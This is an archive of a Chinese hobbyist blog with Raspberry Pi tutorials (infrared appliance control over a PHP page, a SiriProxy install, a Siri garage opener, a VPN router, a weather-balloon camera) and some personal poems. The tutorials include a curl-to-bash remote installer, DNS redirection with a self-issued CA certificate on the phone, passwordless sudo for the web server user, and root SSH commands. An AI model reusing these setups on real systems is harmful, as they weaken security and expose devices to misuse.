Progaming, Raspberry Pi, Technology 心血来潮想通过树莓派对家里的电器进行控制,网上查了不少资料,决定动手一试。首先决定对电暖器开刀,这个电脑有一个红外的遥控器,可以开关、定时、设定高低档功能,我要做的就是模拟遥控器对其发出指令。初级篇,通过电脑命令行进行控制,高级篇使用手机进行控制。 参照baoxiaozhong的红外接收http://www.shumeipai.net/thread-12265-1-1.html 设置好了红外接收器,然后尝试用相似的方法实现了红外发射器,成功控制电暖器,后续将考虑控制电视,空调等 设备。 初级篇:用电脑来控制电暖器 原理: 先通过红外接收模块,采集遥控器的指令,然后通过红外发射器模块模拟遥控器发送红外指令控制。 环境:xbian 1.0 alpha4 硬件:taobao上淘的10多块一个的红外接收模块及红外接收模块,此处不发地址,免得广告嫌疑。 连接方式: 红外接收器 vcc 连 pin1 (3.3v) gnd 连 pin6(ground) data连 pin12(gpio18) 红外发射器 vcc 连pin2(5v) gnd连pin6(ground) data连pin11(gpio17) 为什么这么连,我查了很久资料,后来在lirc_rpi原作者网站看到了,大概固定在程序里面了。 地址:http://aron.ws/projects/lirc_rpi/ 步骤: 先通过红外接收器接收遥控器的编码,请参照http://www.shumeipai.net/thread-12265-1-1.html. 在用户目录生成了lircd.conf文件 我生成了KEY_UP,KEY_DOWN,KEY_0,KEY_1等分别代替开启、定时、低、高四个按钮 然后将它拷贝到/etc/lirc/remotes下, sudo cp /home/xbian/lircd.conf /etc/lirc/remotes/xxx.conf (xxx随便你起名字,但是要和后面统一) sudo vi xxx.conf 修改 name /home/xbian/lircd.conf 为 name xxx sudo /etc/lirc/lircd.conf 增加一行 include “/etc/lirc/remotes/xxx.conf” 保存退出 现在可以测试了 sudo irsend SEND_ONCE xxx KEY_ON sudo irsend SEND_ONCE xxx KEY_TIMER sudo irsend SEND_ONCE xxx KEY_LOW sudo irsend SEND_ONCE xxx KEY_HIGH 开始享受电暖器滴滴接收命令的的声音吧。 ## 高级篇:通过手机来控制电暖器 安装LNMP 参照http://geekpi.cn/blog/2012/10/1908 apt-get install mysql-server mysql-client nginx php5 php5-fpm php5-mysql php5-curl php5-gd php5-intl php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl mysql我没有做优化 配置nginx 先配置/etc/nginx/nginx.conf,需要做的就是限定线程数和开启gzip支持,gzip开启后将大幅降低传输html的流量占用。 worker_processes 1; #只有一个CPU,单进程即可 worker_connections 256; #一般支持100在线连接就达到raspberry pi的极限了 gzip on; #gzip开启取消前面的#让默认设置生效即可 gzip_disable “msie6”; gzip_vary on; gzip_proxied any; gzip_comp_level 6; gzip_buffers 16 8k; gzip_http_version 1.1; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; 接下来设置/etc/nginx/sites-avaliable/default ,配置站点属性 root /var/www ; #站点存储位置 index index.php index.html index.htm; #加入index.php为默认页面 location ~ \\.php$ { fastcgi_split_path_info ^(.+\\.php)(/.+)$; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; include fastcgi_params; } #开启php解析,使用php-fpm作为Fastcgi通信模块 然后配置php sudo权限,这样php执行命令的时候不需要输入自己的密码 为 nginx,而想透过 PHP 发送irsend,用 root 输入指令 vi /etc/sudoers, 在档案最底加上以下一行: www-data ALL=NOPASSWD: /usr/local/bin/irsend 在/usr/share/nginx/www/下 编写cmd.php 然后就可以通过http://ip地址/cmd.php?cmd=KEY_UP&device=xxx控制你的设备了。 这里的xxx是可以不同设备的哦。看你前面irrecord里面配置的 当然这种方式操作不方便,和shell操作差不多,所以可以自己做一个html页面,放上若干按钮,每个按钮分别调用cmd.php上面的指令。 这是个简单的例子 智能家庭控制台

然后通过http://ip地址/index.html访问 对于使用iphone或者ipad的用户,还可以把网页快捷方式放到主屏幕,打开就是一个操作界面,是不是很来福啊? --- ## 安装Siri Proxy Date: 2013-01-29 URL: https://blog.wo.ai/archives/982 Categories: Raspberry Pi 本文为本站首发,树莓派论坛转载,如果需要转载请注明作者及出处。 原文地址: > [How to Install Siri Proxy Tutorial [Video]](https://www.idownloadblog.com/2011/12/09/how-to-install-siri-proxy-tutorial-video/) 安装之前,需要下面几个先决条件: 1.最好安装一个ubuntu.可以实际安装一台机器,也可以装在虚拟机上 2.只能安装在4s上,我未测试其他设备,可能不能工作,而且不合法 3.只有连上wifi的时候才可用,并且iphone和siri proxy在一个局域网内。虽然可以通过vpn远程,但是我尽量保持简单和直接 4.本文只覆盖初始化安装,以后我告诉你们如何增加一些插件来增加体验 5.任何人都可以做到,包括你,不要害怕 6.最后,感谢Pete创建了SiriProxy,并提供基础 如何安装: 预备步骤: 1.如果已经有了ubuntu,直接下一步。没有的话,可以在windows或者mac上装一个,mac上可以装Parallels或者vmware fusion运行ubuntu虚拟机,我用的是parallels 2.安装ubuntu的最新更新,参看视频1:00时刻(视频需要翻墙) 3.如果你用paralles或者其他虚拟机,需要设置虚拟机实通过bridge模式,这样可以联上互联网,参看视频4:00 4.设置dropbox,这是个可选步骤,我觉得这样方便一些。你需要有地方传输你iphone上生成的证书,你可以用邮箱,我用的是dropbox 命令行步骤: 这些步骤都可以参考视频,每个都有时间戳作为参考。简单的在终端复制粘贴这些命令,然后按照指令执行。 命令1:时间:5:44(此处安装必要的库) sudo apt-get install dnsmasq ruby build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion 选择y继续, 命令2:时间6:13 sudo nano /etc/dnsmasq.conf 找到62行: #address=/double-click.net/127.0.0.1 在他下面增加:address=/guzzoni.apple.com/(你机器的ip地址) 按ctrl+o,回车保存,按ctrl+x退出 命令03: Time 7:42 sudo /etc/init.d/dnsmasq restart 命令 04: Time 7:55 bash < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) 命令 05: Time 8:20 [[ -s “$HOME/.rvm/scripts/rvm” ]] && . “$HOME/.rvm/scripts/rvm” 命令 06: Time 8:33 echo ‘[[ -s “$HOME/.rvm/scripts/rvm” ]] && . “$HOME/.rvm/scripts/rvm” # Load RVM function’ >> ~/.bash_profile 命令 07: Time 8:47 rvm install 1.9.3 这条命令需要执行一段时间,尤其编译阶段 命令 08: Time 9:22 rvm use 1.9.3 –default 命令 09: Time 9:32 git clone git://github.com/plamoni/SiriProxy.git 命令 10: Time 9:49 cd SiriProxy 选择y继续(我感觉不对,没有去验证) 命令 11: Time 10:06 rake install 命令 12: Time 10:21 mkdir ~/.siriproxy 命令 13: Time 10:31 cp ./config.example.yml ~/.siriproxy/config.yml 命令 14: Time 10:43 siriproxy gencerts 命令 15: Time 11:04 siriproxy bundle 命令 16: Time 11:23 rvmsudo siriproxy server 这条命令启动Siri Proxy,成功的话,会提示”Starting SiriProxy on port 443..” 在iphone 4s上设置 1.首先你要取得我们在上面第14步生成的证书,在4s上安装。你可以使用dropbox或者邮件传输到iphone,看视频的11:40 这个证书在 ~/.siriproxy/ca.pem,你需要查看隐藏文件,一旦证书到你的iphone,选择安装,参照视频12:44 2.进入iphone wifi设置,选择wifi连接左边蓝色简单按钮,记住,你的手机需要和你的siriproxy在一个局域网。在dns那里,把dns修改为siriproxy的ip地址,参看视频12:59 3.测试siri,按住home键,说“test siri proxy”,siri会回复你,“siri proxy is up and running”,在你的终端上面会显示你的语音包。 虽然看起来很复杂,你大概需要不到一个小时。 --- ## 用Siri来控制车库门[翻译] Date: 2013-01-26 URL: https://blog.wo.ai/archives/980 Categories: Raspberry Pi 本文为本站首发,在树莓派论坛转载,其他网站转载需要指明出处及作者信息。 原文: https://www.raspberrypi.org/forums/viewtopic.php?f=63&t=25118&hilit=siriproxy&sid=aa0660b88dd63482d287d7fb089e0d60 hi,这是我第一个树莓派的项目,SiriProxy。它运行在树莓派上,使用wiringPi访问派的GPIO口,并发一个延时的on/off信号。这个延时信号用来控制我车库门。所以我可以在iphone上用siri来控制我的车库门。 可能有其它的方式来做同样的事情,比如在Pi上跑一个web服务器来访问Pi的GPIO端口,但是我只是简单的做了一个,符合我自己的需求,并且运行的一切正常。 我的派在整个安装过程中都用root用户运行,这样可以比较简单一些(原文粗制滥造)。我用wheezy版本。 下面这个链接 [http://www.idownloadblog.com/201 … oxy-tutorial-video/](http://www.idownloadblog.com/2011/12/09/how-to-install-siri-proxy-tutorial-video/) 告诉你怎么安装和运行siriproxy。如果你按照这些步骤,并且把11,12,13步的顺序更换为12,13,11。顺便说一下,命令7大概需要在PI上编译90分钟。 然后开始安装wiringPi,可以从 [https://projects.drogon.net/rasp … wnload-and-install/](https://projects.drogon.net/raspberry-pi/wiringpi/download-and-install/) 获得。 一旦这些都安装好了,我们只需要更改一下siriproy里面自带的ruby脚本的例子。 编辑/root/SiriProxy/plugins/siriproxy-example/lib/siriproxy-example.rb 文件 找到这几行: > listen_for /test siri proxy/i do > say “Siriproxy is up and running!” #say something to the user! > > request_completed #always complete your request! Otherwise the phone will “spin” at the user! > end 在它后面追加这几行 > listen_for /open the garage door/i do > say “Opening the garage door..” > request_completed > system(“gpio mode 1 out”) > system(“gpio write 1 1”) > system(“sleep 0.5”) > system(“gpio write 1 0”) > end > > listen_for /close the garage door/i do > say “Closing the garage door..” > request_completed > system(“gpio mode 1 out”) > system(“gpio write 1 1”) > system(“sleep 0.5”) > system(“gpio write 1 0”) > end 你可以看到,ruby脚本简单的用system命令来访问wiringPi,设置GPIO针脚作为输出端口,设置它半秒高电平,半秒低电平。 你可以让siri调用任何你在命令行终端能用的命令,比如说通过无密码的SSH登录到远程的电脑让它关机或重起。 > listen_for /turn off my laptop/i do > response = ask “Are you sure you want me to shut down your laptop?” > > if(response =~ /yes/i) > say “OK, I’ll shut it down now..” > system(“ssh root@192.168.1.74 shutdown -h now”) > else > say “OK, I wont!” > end > > request_completed > end 你可以把树莓派放在不同房间使用不同的命令控制,但只使用一个siriproxy服务器。注意:每次你修改完配置后,你需要在重起服务器之前运行”siriproxy bundle”命令。 这里还有一个我安装过程的演示视频。 墙内的朋友安了吧,墙了。 --- ## 通过树莓派从近太空发回实时图像 [翻译] Date: 2013-01-26 URL: https://blog.wo.ai/archives/190 Categories: Raspberry Pi, Technology 原文地址: 越来越多的人喜欢访HAB(放高空气球),爱好者使用标准气象气球将小设备(一般100克到1公斤)发送到近太空(大概距地面30公里),一般会携带跟踪设备(这样可以在飞行过程中知道气球的位置),并且通常会带一些传感器(比如温度、压力等),有的还携带摄像机或照相机,将照片保存在SD卡中,方便之后取回。 跟踪器的作用是从GPS接收器读取作为,可能的话,读取传感器的内容,按照一定的格式通过低功率无线设备发回地面。飞行必须通过预定的路线,保证安全的情况下飞行,比如说避开机场和人口密集地区,并申请许可,比如在英国需要的到CAA的许可。我们使用70厘米无线频率(大概是434MHz),使用RTTY(无线电报)发送遥感信息到一些地面由其他爱好者建的接收站。从接收器接收到的遥感信号都会发送到中央服务器,并画出实时的地图,只要连上英特网大家都能看到。这个系统运行的非常好,已经被用来跟踪800公里距离的小设备,但是发射器必须低于英国法律规定的10mW。 ![](http://www.daveakerman.com/wp-content/uploads/2012/07/1-1024x741.png) 五月初我接收到我第一个树莓派计算机,在我准备利用飞行计算机之前,已经放飞了好几次高空气球。前几次基本都是用Arduino迷你板,因为它很小,轻到几乎没有,简单,并且很省电。对比Pi,感觉它没有任何优势。当我看到它的usb口可以提供快速、简单、廉价网络摄像头,也就是说我可以提供实时地照片(SSDV),这个大概尝试的人不多。 近太空是个比较恶劣的环境 – 不到1%的空气,温度低至零下50度,任何一个东西出问题,他就会一直出问题。无线链接是单向的,也就是说没有机会远程做类似”sudo reboot”的操作,让它关机并重新启动!下降过程非常暴力,所以即使是SD卡插座也是一个潜在的失败因素。PI比我们通常的主板复杂,没有SD卡,没有USB,甚至没有操作系统,所以额外的电力和功能都是由代价的,第一个是增加大约60-500毫安的电流,意味着更高的功耗。人们一直都担心近太空的低温,如果你的设备只靠几瓦的电力驱动,这也许就不再是个问题。我反而更担心设备中间变得太热,所以我在PI上加了散热片。 ![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040652-1024x682.jpg) 我用特殊的热粘合胶把散热片粘在USB/以太网芯片上以及3.3v稳压器上。他们通常都会变暖但是不会太热,我担心在1%稀薄空气中(对流太少)他们会变得太热。你还可以看到有两条线直接连接5V,比使用一个连接器,焊接更可靠一些。另外一个修改是拆除了S2的视频接口,可以增加空间容纳我的扩展板。最后的修改是降低USB保险,因为我的摄像头电流需求超过其额定值。然后我增加了一块板来安装Radiometrix NTX2无线发射器来发送遥测及图像到地面,并连接到一个简单的GPS接收器上的线尾,这样他可以远离我的发射器。 ![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040654-1024x682.jpg) 最后的一项是合适的电源。劲量锂AA电池是显而易见的选择,因为它们可以在零下40摄氏度条件下工作到,而且适合大电流(500mA以上的PI加上网络摄像头)。在30公里上空,通常会降到零下50度,即使只有最少绝缘,电池自身发热也能保证其在可控范围。PI需要5V电压,所以我用6个AA电池加一个外部的低压降线形稳压器给它提供足够的电压,直到没电为止。稳压器大概有3瓦,所以需要一个散热片。对于小负载来说,这个热量太高,因为这是绝缘体。当然你也不想它变得太冷,因为这样也会影响其它部件。我订购了一些开关稳压器,但是在我放飞之前还没到货,我只好用线性稳压器。 ![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040655-1024x682.jpg) 通常,NTX2通过GPIO口发送1或者0,以一定的速率发送无线电报(RTTY),比如每隔20ms,按照50波特率。如果是在AVR或者PIC单片机上,这个非常容易,只需要设置延时或者时间中断。但是Pi运行的不 是实时操作系统,我无法控制一个正确的时序,特别是当系统正在忙于拍照。还有其它的方式,但我选择了最简单的方式,通过串口来控制NTX2。RTTY使用正常的RS232串行标志和占空以及停止位,所以 ![](http://www.daveakerman.com/wp-content/uploads/2012/07/SSDV-Receivers.png) 为什么不用硬件的UART来做计时呢?没有花太多时间写了一小段C程序来以4800bps打开串口,读取GPS数据来获取经纬度及海拔,然后关闭端口,并重新以300bps发送电报(我发现如果不先关闭再重新打 开串口,经常不太稳定)。当然,做这个的时候,需要关闭串口的登陆提示以及内核消息,但总之还是比较简单。我将一个标准的Debian镜像写在一个4G的SD卡上。 为了获取实时的图像,我只能给debian打了一个补丁,终于能够将摄像头识别为/dev/video0.我尝试了好几种摄像头,最后选择了罗技德C270,他能够提供比较合理的质量、亮度,并且不贵(如果所有 设备都找不回来的话)。我尝试了好几种图片获取程序,最后觉得fswebcam最好。别忘了,无线系统带宽很低,通常要飞2个小时,所以我们没有时间发送大图片,所以没有必要选择非常好的摄像头和高 解析度。我权衡了质量和传输速度,觉得432×240的分辨率,50%压缩率比较适合。 我测量了摄像头电流,空闲时50mA,拍照时大概是250mA,所以需要缩减USB保险(最大140mA).写了一个脚本每30秒拍 张照,保存在SD卡上,跟踪程序会选择最好的照片(最大的文件)进行传输。每个选中的文件会转化成适合下载的格式(分成块,每块都带FEC校验),每次发送一块。我把图片数据分散在无线电报中-每 个电报中包含四个图像数据包。这是PI的自拍照: ![](http://www.daveakerman.com/wp-content/uploads/2012/07/Self.png) 经过完整的试验和测试,取得CAA的许可,我作了一个盒子,里面装了Pi、摄像头、GPS、电池和稳压器。我不想使用太多绝缘体,这样才不会使里面太热,所以我用了10mm的EPX材料。低于这个厚度的话 ,可能会变形。 ![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040546-1024x682.jpg) 升空那天,根据风向,预计会按照S型轨迹飞行,从我家(West Berkshire)附近的升空地点,先向南,再向东,然后一直向北,直到在高海拔的地方转向西面。下降的时候,会按照相反的顺序改变方向 ,最后降落在Chilterns附近。当天天气不错,应该不会出现意外,我开始给气球充气。我申请了可以飞两次,所以我的朋友兼爱好者Anthony Stirk可以放飞他做的跟踪器。因为有3个跟踪器以及两次飞 行许可,我们选择了升空一个带小光线跟踪的大气球,另外一个气球带上了Anthony的大跟踪器和一个GoPro高清摄像机,然后把Pi放里面。经过一番思考,我们决定把第三个跟踪器作为备份,确保GoPro 能够找回来。 放飞的那天终于来了,同时也等来了雨,因为天气预报是阵雨,我们就到升空地等到变成了毛毛雨。我们先放飞了带着小负载的大气球,这样Anthony可以尝试记录坐标。然后我们放飞了后面这个复杂的 东东,我的Pi在最上面,然后是GoPro,最后下面是备用的Buzz跟踪器。这张是飞行前的Pi: ![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040569-1024x682.jpg) 和即将升空的气球: ![](http://www.daveakerman.com/wp-content/uploads/2012/07/IMG_3861-1024x768.jpg) 整个一串东西,包括降落伞和3个设备大概1kg左右(何我最初试验相同),从气球到最低的设备大概有60米长。升空非常有趣,最开始风很小,几乎是垂直升空。后来风稳定了,气球按照一个角度升空 ,它可以顺利的按照我能达到的最快速度升上去。直到顺利升空我才放松下来。这巨大一串东西冲入云中,让人印象非常深刻。 升空地在我住的村庄,之后我们开车回到家中,在“任务监控中心”看它传回来的照片。预计的落地点不远,我没不需要急急忙忙的去追赶,我们有足够的时间回来看照片并吃点东西。 ![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040573-1024x682.jpg) 第一架飞行器是海拔高度尝试,根据经使用的制造商和大小,要不在27公里之前就爆炸了,要不超过预计范围,跑到了40公里之外。实际上,前几个地方的海拔高度纪录表都是用这个牌子和尺寸。Anthony一直就在看紧紧盯住屏幕看遥感数据。 那个时候,我当然更关心树莓派到底运行得怎么样。GPS位置还显示在发射场地,这是个明确的干扰GPS信号。我还没确定是不是,但GPS接收器和天线非常靠近Pi和摄像头。下次我会增加一些距离。然而图像很好的传输过来了,不仅通过我家的天线和接收器,也可以通过全国各地的其他接收机接收。气球升的越高,图像的质量更好,越来越多的接收器接收到了更好的图像,甚至远在北爱尔兰(远在500公里之外,对于10mW已经很不错了)。现在饼型飞行还没完全出来。下图是一个饼图显示了不同的监听器接收到的图片数量。 [![](http://www.daveakerman.com/wp-content/uploads/2012/07/SSDV-Receivers.png)](http://www.daveakerman.com/?attachment_id=568) 第一架飞行器还在不断的攀升,最终达到了第4区,只比世界纪录低了300多米。一方面我希望它飞得更高些,一方面我很高兴它没有在第二区就挂掉。然后,气球爆炸了,最初下降还算正常。但是多数气球还挂在上面,成功地变成了一个降落伞的形状,速度减到大概2米每秒的速度,在这个高度,正常速度应该是这个的5倍以上。谈到主要的飞行,它一张一张发回的图像,没有出现任何错误,而且一张比一张更好,直到飞到最后越来越高。 [![](http://www.daveakerman.com/wp-content/uploads/2012/07/2012-07-14-14-30-54-PIE1-1F.jpeg)](http://www.daveakerman.com/?attachment_id=577) [![](http://www.daveakerman.com/wp-content/uploads/2012/07/2012-07-14-15-05-28-PIE1-25.jpeg)](http://www.daveakerman.com/?attachment_id=576) 我们预期它在34公里处爆炸,但很明显气球不完全符合我们的计算。它经历了34公里,35公里,最终在40公里处爆炸(准确的说是39994米,在海拔记录里面排12位)。对于一个中等大小带着1公斤负重的气球来说,已经非常惊人了。气球爆炸了,也就是该我们取出追车了,两辆车都配备了天线、无线电接收器、解码和底土,还有3G网络。预计降落点靠近Didcot,所以我们前往那里,然后停车确认最新的预测降落点。设备最终降落在密尔顿高地,我们离它不远,离发射场只有几英里。令我们惊讶的是,有一个接收器离它非常近,接收到了实时的图像。过了一段时间,大家都能看到设备落到了长长的草丛里面。 [![](http://www.daveakerman.com/wp-content/uploads/2012/07/2012-07-14-15-54-35-PIE1-2D.jpeg)](http://www.daveakerman.com/?attachment_id=578) Anthony最先从他的车里看到设备,在球场边上的草丛里。得到俱乐部的允许,我们拿回了所有3个设备和降落伞。 [![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040596-1024x682.jpg)](http://www.daveakerman.com/?attachment_id=574) 同时,前一个飞行物还在下降,但非常慢。只有我们预期的1/5.我们不知道具体的时间,但是我们知道已经被降落伞接管。然后在最后的几公里,它急剧下降(可能是乳胶撕毁了),最后降落在牛津北边的一块地上。这里的海拔不太常见: [![](http://www.daveakerman.com/wp-content/uploads/2012/07/3.png)](http://www.daveakerman.com/?attachment_id=569) 花了我们不断地时间来找到它的位置,但它似乎在一个比较难靠近的地方。随着雨越来越大,Anthony 决定收工,而不是找一个只值50镑的跟踪器。然后他开走了。我上网告诉其他在UKHAS聊天室的爱好者我也要回家了,“它就在A34附近的停车场”,有人告诉我,“很容易就拿到”,“雨5分钟就停了”。嗯,好象没有那么糟,我往北开到A34,然后回到南边的停车处。 嗯,上面的三句话,只有第1条是正确的,只离停车处155米。但是暴雨一直在下,我只能在车里等。最后,我决定出去了,爬过树木和灌木丛去找,前面有片五尺高的玉米地。已知没找到那个设备。失败后,我走到车边,用我的anroid手机打开HamGPS软件来确定设备的位置。花了很多时间才到哪里,我感觉我在演“疯狂的戴夫”,当我到达目的地,我钻进了设备和气球中间的尼龙线。这的确看不到,直到我爬到最顶上,最终成功拿到。 [![](http://www.daveakerman.com/wp-content/uploads/2012/07/P1040634-e1342443936629-682x1024.jpg)](http://www.daveakerman.com/?attachment_id=575) 所以,一切的一切,伟大的一天。所有的4个跟踪器全部回收,并且我们得到了令人惊叹的图像。如果有兴趣,可以访问[UKHAS](http://www.ukhas.org.uk/)网站。更多的图像和视频,请访问: [All SSDV images](http://www.flickr.com/photos/daveake/sets/72157630589478676/) [Photos from the day](http://www.flickr.com/photos/daveake/sets/72157630584759530/) [pAVA Inflation Time-Lapse](http://youtu.be/gloJM3O2DNo) [Burst video from the GoPro](http://youtu.be/KGLB9-LdpYM) [Launch video of PIE1, uAVA and BUZZ8](http://youtu.be/OnmRudVVq_U) [Landing video from the GoPro](http://youtu.be/XKF-2Bnj5IY) [Recovery of PIE1, uAVA and BUZZ8](http://youtu.be/Ui_wejYGVu0) [Anthony’s Write-Up](http://ava.upuaut.net/?p=315&cpage=1#comment-927) 感谢Anthony Stirk开车从阳光明媚的约克郡到最严峻最黑暗的Berkshire,并且提供GoPro HD相机, 感谢Phip Heron提供我们摄像头成像和编码软件,感谢Nick提供帮助,当然还要感谢我的妻子Julie让我们吃饱喝足,而且帮我开车,而我只需要做技术方面的东西。 --- ## 通过Raspberry Pi实现无障碍上网 Date: 2013-01-13 URL: https://blog.wo.ai/archives/183 Categories: Progaming, Raspberry Pi, Technology 最近貌似google的服务实在不给力,搜索一直都无法打开。正好发挥手头树莓派的功能,来实现家庭无障碍上网。 网络环境:树莓派通过无线连接路由器,其他电脑通过树莓派中转,国内网址直接走路由器,被墙网址通过VPN出去。 首先设置树莓派,通过无线上网: 1.无线配置,修改/etc/network/interfaces,下面的SSID,PASSWORD换成你自己的 auto lo iface lo inet loopback iface eth0 inet dhcp allow-hotplug wlan0 iface wlan0 inet static address 192.168.88.10 netmask 255.255.255.0 gateway 192.168.88.1 wpa-ssid "SSID" wpa-psk "PASSWORD" wireless-power off 2.安装ppp客户端 sudo apt-get install pptp-linux 3.Next, Create a file in /etc/ppp/peers with arbitrary name and the following contents: 在/etc/ppp/peers目录创建一个文件,其中VPNHOSTNAME,$USERNAME,$PASSWORD换成你自己的帐号密码 pty "pptp $VPNHOSTNAME --nolaunchpppd --debug" name $USERNAME password $PASSWORD remotename PPTP require-mppe-128 require-mschap-v2 refuse-eap refuse-pap refuse-chap refuse-mschap noauth debug persist maxfail 0 defaultroute replacedefaultroute usepeerdns 3.测试vpn拨号是否成功 sudo pon 配置文件名 然后ping www.facebook.com看是否通过。 4\. 启动内核的IPv4转发 sudo sysctl -w net.ipv4.ip_forward=1 记得同时修改/etc/sysctl.conf保证重启也有效。 5.下载chnroutrs.py,用 chnroutes 生成路由脚本(google chnroutes.py,头条就是) python chnroutes.py -p linux 会生成ip-down,ip-pre-on等文件。 执行ip-pre-on,会把所有的国内的ip地址段加入路由表。 6.在RPi中启动iptables的NAT转换 sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE 后来验证似乎还需要这几条指令: iptables -A INPUT -i ppp0 -j ACCEPT iptables -A OUTPUT -o ppp0 -j ACCEPT iptables -A POSTROUTING -t nat -o ppp0 -j MASQUERADE iptables -A POSTROUTING -t nat -o wlan0 -j MASQUERADE 其中wlan0是你的无线网卡的id,如果只有一块网卡,就直接用这个,不需要改了。 在你的客户端电脑上把网关改成PI的ip地址,dns改成8.8.8.8或者8.8.4.4,防止国内dns污染。看看是不是可以打开facebook之类的网站了? 不确定的话,你可以ipconfig /flushdns后,tracert不同域名,看看是不是走不同路由出去的。 tracert www.china.com 这个应该是走路由器出去的 tracert www.facebook.com这个应该是走VPN的。 所有网站畅通无阻的出去了,包括google随便什么关键字都不会重置了。 后记:俺VPN流量有限制,所以都没有加到自动启动里面,每次登录上去手动启动一下就可以了。如果需要自动启动,可以参考其他文章。如果不想每次都要修改dns和网关,在pi上建一个dhcp服务器,网关,dns都配在里面,自动获得就可以了。 比如下面的方法,让系统自动启动VPN To start your VPN client on boot, you can follow the instructions on (point 8 or 9, Hand configuration section) An alternate method to make your VPN client run on boot is to make a script in `/etc/init.d`containing these contents: #! /bin/sh case "$1" in start) pon $/etc/ppp/peers/FILENAME echo "PPTP Started" ;; stop) poff $/etc/ppp/peers/FILENAME echo "PPTP Stopped." ;; *) echo "Usage: /etc/init.d/blah {start|stop}" exit 1 ;; esac exit 0 Then run: update-rc.d [filename of script] defaults To make it run at startup. --- ## Raspberry Pi跑起来了 Date: 2013-01-10 URL: https://blog.wo.ai/archives/176 Categories: Progaming, Raspberry Pi, Technology [Raspberry Pi](http://www.raspberrypi.org/)是什么? 引用维基百科的一句话: > The Raspberry Pi is a credit card sized single-board computer developed in the UK by the Raspberry Pi Foundation with the intention of stimulating the teaching of basic computer science in schools. Pi 已经流行了一段时间了,找到一个开始测试。 入手第一件事,就是刷SD卡。从各个官网下载固件,然后烧到SD卡上。花了两天,把所有的固件都刷了一遍,总算把基本功能跑起来。 Raspberry PI官网固件,直接进桌面,体现了它的原始想法–教育,但是没有媒体功能,所有的东西都需要自己折腾,UI方面的折腾实在不想花太多时间,放弃。 Raspbmc,功能比较齐全,直接进入XBMC,Airplay只有声音没有图像,无线网卡无法启动,总不能从客厅拖一根网线到房间吧,只能放弃。 Openelec,直接进入XBMC,但是功能是在太精简,完全没办法在上面开发定制自己的功能,放弃。 Xbian,很精简,直接进入XBMC,无线网卡功能能用,但是Airplay直接无线。配置好了XBMC,加入中国视频网站的支持,至少摆在房间可以用来做播放器,后台可以用来做智能控制,就选这个了。 今天试了红外接收板接收遥控器信号,信号能够接收到,但是还没办法解码。或者不解码了,直接通过发射板发射出去好了,改天再研究。 实现目标,通过Pi能够通过红外来控制各种家电,比如电视、机顶盒、空调、dvd、取暖器;控制摄像头,可以实现监控;通过温度感应器,读取温度,然后启动取暖器或者空调;无障碍翻墙;做个定时撞钟发微博的机器人… --- ## 雨が止んだ The rain stopped [转] Date: 2012-12-07 URL: https://blog.wo.ai/archives/22 Categories: Life, Miscellaneous **雨が止んだ The rain stopped** 二週間ほどの雨がやっと止んだ、 About two weeks of rain finally stopped 晴れ空は前より青くなってきた気がしますが、Feeling the sunny sky became blue than before, 急に千キロ以外の貴方の笑顔が頭に浮き出された。Your smile suddenly raised to my mind, since thousands miles away here 空が異なり、天気も違いますね Different sky, different weather こちら雨の時、あそこは晴れだRaining was here, but sunshine was there. こちら晴れた今日、貴方がいる所は、雨だろうね。Sunny here today, the place where you are, it would be rain. 君を思っています。Missing you. 愛していると言われた Said I love you 好きになったと言われた Also said I like you けど、現実を飛ばせないことなので Time can’t go back 唯の思うだけでも、嬉しいです。Though only missing , I am glad enough. 君の歌う、初めて聞こえた。Your singing, I heard for the first time. 陳小春の<僕はあの命がない> Jordan Chan’s I have no life that 想像より上手くて、綺麗だ。 Much better than expected, could be beautiful. 君は好きな音楽が<身不由已>、初めて分かった。Finally, understood why you like In spite of myself. 君の現在の全てのこと、知りたいです。Everything of your current, I want to know だんだん、君の少年模様は大人模様に切り替えました。Gradually, your boy pattern changed to grownup 君は、私の人生の神様です。You are the god of my life. 神様のような君は、人間で暮して、慣れますか?As you like the god, do you still used to the life of the mortal world? また毎日ニコニコ、大声で笑っていますか Are you smiling every day, laughing loudly? 話を聞いた、神様の君は、奥様の言うこと通り人間タイプになったね。 Heard the word of your wife, from god-like you, became a human type. 心、痛いですけど、君は幸せのことをお祈ります。Feeling acute pang, but still hope you be happy. 今までじゅうごねん間経ちました。15 years passed by, 貴方は私の最も熟知した见知らぬ人になった。You are the most familiar strangers of mine. 君、幸せでね。You, must be happy! Aisiteru --- ## This is my status Date: 2011-11-28 URL: https://blog.wo.ai/archives/13 Categories: English, Funny, Life [![](/wp-content/uploads/2011/11/62557c6ejw1dn7vgrr59xj-300x300.jpg)](/wp-content/uploads/2011/11/62557c6ejw1dn7vgrr59xj.jpg) High pressure --- ## Hello everyone! Date: 2011-11-17 URL: https://blog.wo.ai/archives/10 Categories: Miscellaneous Welcome to Woai. This is my first post. Thank you for your coming. --- ## 虞美人 Date: 2011-07-20 URL: https://blog.wo.ai/archives/121 Categories: Life, Springfield 虞美人 閒來獨坐斜陽裏 暗嘆時飛逝 當年人約黃昏路 猶記小樓一夜聼風雨 前世海誓今世意 艱辛亦不易 還期來生再執手 與子偕老相依無他求 --- ## 如梦令 Date: 2011-06-28 URL: https://blog.wo.ai/archives/119 Categories: Life, Springfield 庭外清风阵阵,下弦清辉夜减。独自伴青灯,临阵苦读书卷。无寐,无寐,草尖星光点点。 --- ## 卜算子 Date: 2011-06-27 URL: https://blog.wo.ai/archives/117 Categories: Life, Springfield 盈盈一水间,天高路且阻。古有君心似我意,不负相思苦。 离家一载余,毋忘归家路。遥想同剪西窗烛,共话巴山雨。 --- ## 换电瓶记 Date: 2011-06-23 URL: https://blog.wo.ai/archives/115 